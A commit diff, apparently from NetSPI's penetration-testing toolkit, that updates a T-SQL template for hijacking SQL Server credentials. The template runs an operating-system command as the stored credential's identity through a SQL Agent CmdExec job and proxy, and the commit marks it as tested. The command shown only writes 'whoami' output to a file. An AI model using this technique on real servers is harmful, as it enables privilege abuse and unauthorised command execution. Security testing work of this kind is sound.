Update Get-Credentials-Hijack.tsql

NetSPI · Aug 20, 2024 · eec48d6 · eec48d6
1 parent 43cddf4
commit eec48d6
Showing 1 changed file with 2 additions and 3 deletions.
diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql
@@ -1,5 +1,4 @@
--- Pending testing
-
+-- Tested and worked - SQL Server v2014 instance
 
 --------------------------
 -- Create a new credential named 'MyCredential' - for testing
@@ -59,7 +58,7 @@ EXEC sp_add_jobstep
   @job_name = N'WhoAmIJob', 
   @step_name = N'ExecuteWhoAmI', 
   @subsystem = N'CmdExec',         -- Specifies an Operating System command
-  @command = N'whoami',          -- The OS command to execute
+  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\temp\whoami.txt',          -- The OS command to execute
   @on_success_action = 1,         -- 1 = Quit with success
   @on_fail_action = 2,           -- 2 = Quit with failure
   @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier